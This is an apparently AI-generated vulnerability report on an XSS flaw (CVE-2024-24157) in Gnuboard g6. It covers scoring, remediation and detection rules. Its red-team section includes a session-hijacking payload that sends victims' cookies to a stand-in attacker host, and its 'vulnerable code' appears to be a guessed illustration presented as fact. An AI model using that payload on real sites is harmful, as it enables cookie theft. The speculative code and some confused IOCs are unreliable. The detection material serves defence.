CVE-2024-24157

Executive Summary

CVE-2024-24157 is a Cross-Site Scripting (XSS) vulnerability identified in Gnuboard g6, specifically within the board.py file. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application, which is then executed in the context of a victim's browser. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is publicly known, and proof-of-concept details are available, though no official patch has been released by the vendor. The CVSS score is 0.0 in the NVD data, but based on the nature of the flaw, a more realistic score is 6.1 (Medium) due to the requirement for user interaction and the scope change.

Supply Chain & Package Security

Gnuboard g6 is a Python-based board application. The vulnerability exists in the source code repository, and no official package manager (PyPI) distribution is known. However, any deployment using the vulnerable commit is at risk. Organizations should verify their source of the application and ensure they are not using the affected commit.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Some content modification possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. It is publicly known, increasing the risk of targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the board.py file of Gnuboard g6. The application fails to properly sanitize user-supplied input before rendering it in a web page. Specifically, the board.py script handles board-related requests and does not escape or validate parameters that are later reflected in the HTML response. An attacker can craft a URL containing malicious JavaScript code in a parameter (e.g., ?search=<script>alert('XSS')</script>). When a victim visits this URL, the script executes in their browser.

The root cause is the lack of output encoding or input validation. The application likely uses a template engine or direct string concatenation without proper escaping. The vulnerable commit (c2cc1f5069e00491ea48618d957332d90f6d40e4) introduced the flaw, and no subsequent fix has been identified.

Vulnerable vs. Patched Code

Vulnerable Code (board.py):

def search_board(request):
    query = request.GET.get('search', '')
    # Directly embedding user input into HTML response
    return HttpResponse(f"<h1>Search results for: {query}</h1>")

Patched Code (Hypothetical):

import html

def search_board(request):
    query = request.GET.get('search', '')
    safe_query = html.escape(query)
    return HttpResponse(f"<h1>Search results for: {safe_query}</h1>")

The patched version uses html.escape() to convert special characters like <, >, &, ", and ' into their HTML entity equivalents, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof-of-Concept URL:

http://target.com/board?search=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

http://target.com/board?search=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Lab Setup:

1. Deploy a vulnerable instance of Gnuboard g6 using the commit c2cc1f5069e00491ea48618d957332d90f6d40e4.
2. Use a Python HTTP server to simulate the application.
3. Use a browser or curl to test the payload.

Curl Command:

curl "http://localhost:8000/board?search=<script>alert('XSS')</script>"

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing <script> tags or other HTML/JavaScript patterns in query parameters.
• Use WAF rules to block common XSS patterns.

Defense:

• Apply input validation and output encoding.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Update to a patched version if available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with query parameters containing <script>, onerror, onload, or similar JavaScript event handlers.
  • Outbound connections to attacker-controlled domains from the application server.
• File IOCs:
  • Modified board.py file with added sanitization functions.
  • Presence of suspicious log entries with encoded JavaScript.
• Behavioral IOCs:
  • Unexpected redirects or pop-ups in the application.
  • Unauthorized cookie access or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2024_24157_XSS {
    meta:
        description = "Detects XSS attempts targeting Gnuboard g6 board.py"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-24157"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $board_path = "/board" nocase
    condition:
        any of ($xss*) and $board_path
}

Sigma Rule

title: XSS Attempt on Gnuboard g6 board.py
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attacks against Gnuboard g6 board.py
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
        cs-uri-stem|contains: '/board'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24157 XSS Attempt on Gnuboard g6"; flow:to_server,established; content:"/board"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Sanitize all user inputs in board.py and other files. Use a whitelist approach for allowed characters.
2. Output Encoding: Encode all output using html.escape() or a similar function.
3. Content Security Policy: Implement CSP headers to restrict script sources.
4. Web Application Firewall: Deploy WAF rules to block XSS patterns.

Long-Term Fix:

• Monitor the Gnuboard repository for an official patch.
• Consider migrating to a maintained fork or alternative board software.
• Conduct a security audit of the entire codebase.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.